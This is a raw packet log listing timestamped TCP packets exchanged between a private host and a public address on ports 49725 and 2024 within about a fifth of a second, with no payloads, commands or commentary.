Jan 9, 2024 15:46:51.170296907 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.170314074 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.170376062 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.170397997 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.170464039 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.170530081 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.170603991 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.170614004 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.170669079 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.170674086 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.170728922 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.170731068 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.170789003 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.170809031 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.170886040 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.170900106 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.170958996 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.170985937 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.171016932 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.171051025 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.171084881 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.171098948 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.171133041 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.171144009 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.171180010 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.171221972 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.171274900 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.171305895 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.171350956 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.171431065 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.171525955 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.171673059 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.171786070 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.171811104 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.171845913 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.171854019 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.171883106 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.171889067 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.171936989 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.172075987 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.172133923 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.172143936 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.172202110 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.172230005 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.172267914 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.172312975 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.172312975 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.172313929 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.172362089 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.172384977 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.172523022 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.350197077 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.350224018 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.350239038 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.350253105 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.350301027 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.350344896 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.350460052 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.350522995 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.350549936 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.350549936 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.350591898 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.350613117 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.350747108 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.350795031 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.350795031 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.350845098 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.350910902 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.350933075 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.350980997 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.351030111 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.351030111 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.351078987 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.351156950 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.351177931 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.351351976 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.351393938 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.351393938 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.351443052 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.351547956 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.351567030 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.351633072 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.351680994 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.351680994 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.351722002 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.351810932 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.351835012 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.351933002 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.351939917 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.352047920 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.352071047 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.352106094 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.352113008 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.352215052 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.352236986 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.352293015 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.352338076 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.352338076 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.352380037 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.352519989 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.352540970 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.352612019 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.352655888 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.352655888 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.352688074 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.352785110 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.352806091 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.352871895 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.352919102 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.352919102 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.352962017 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.353048086 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.353068113 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.353128910 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.353178978 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.353178978 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.353212118 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.353281975 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.353302956 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.353424072 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.353467941 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.353467941 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.353511095 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.353589058 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.353610992 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.353663921 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.353737116 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.353737116 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.353760004 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.353837967 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.353859901 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.353902102 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.353936911 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.354006052 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.354027033 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.354054928 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.354084969 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.354170084 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.354191065 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.354233980 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.354274988 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.354274988 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.354315042 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.354485035 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.354504108 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.354562998 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.354609013 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.354609013 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.354640007 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.354768038 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.354788065 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.354893923 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.354938984 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.354938984 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.354985952 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.355053902 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.355074883 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.355133057 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.355174065 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.355174065 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.355189085 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.355284929 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.355304956 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.355370998 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.355417013 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.355417013 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.355458975 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.355505943 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.355536938 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.355592012 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.355635881 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.355635881 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.355664968 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.355767012 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.355788946 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.355819941 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.355859995 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.355859995 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.355937004 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.356004953 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.356046915 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.356046915 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.356111050 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.356167078 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.356189966 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.356247902 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.356256962 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.356314898 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.356337070 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.356398106 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.356442928 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.356442928 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.356472015 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.356517076 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.356537104 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.356580019 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.356622934 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.356623888 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.356664896 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.356709957 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.356729031 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.356820107 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.356863976 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.356863976 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.356892109 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.357055902 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.357075930 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.357146978 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.357188940 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.357188940 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.357243061 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.357347012 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.357367039 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.357419014 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.357460976 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.357460976 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.357517004 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.357635021 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.357655048 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.357709885 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.357754946 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.357754946 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.357817888 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.357893944 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.357916117 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.358000040 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.358019114 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.358133078 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.358155012 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.358185053 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.358233929 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.358233929 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.358356953 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.358403921 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.358422995 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.358484983 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.358504057 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.358570099 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.358620882 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.358620882 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.358720064 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.358783960 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.358803988 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.358849049 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.358889103 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.358889103 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.358958006 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.359042883 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.359061956 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.359155893 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.359195948 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.359195948 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.359241009 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.359343052 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.359366894 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.359411955 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.359452009 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.359452009 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.359508038 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.359610081 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.359627008 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.359685898 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.359730005 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.359730005 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.359783888 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.359822989 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.359855890 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.359896898 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.359942913 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.360038042 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.360059023 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.360161066 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.360181093 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.360299110 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.360358953 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.360368967 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.360368967 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.360431910 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.360452890 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.360505104 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.360522985 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.360553026 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.360590935 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.360590935 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.360632896 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.360682964 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.360694885 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.360768080 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.360785961 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.360837936 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.360857964 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.360923052 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.360965967 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.360965967 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.361020088 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.361099005 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.361119032 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.361175060 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.361217022 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.361217022 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.361299038 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.361329079 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.361346006 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.361468077 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.361488104 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.361536980 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.361584902 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.361584902 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.361634016 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.361686945 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.361707926 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.361769915 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.361809969 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.361918926 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.361937046 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.361957073 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.361996889 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.361996889 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.362016916 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.362080097 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.362098932 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.362154007 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.362195015 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.362195015 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.362238884 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.362325907 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.362344027 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.362404108 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.362447023 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.362447023 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.362487078 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.362575054 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.362593889 CET	49725	2024	192.168.2.10	168.119.106.20
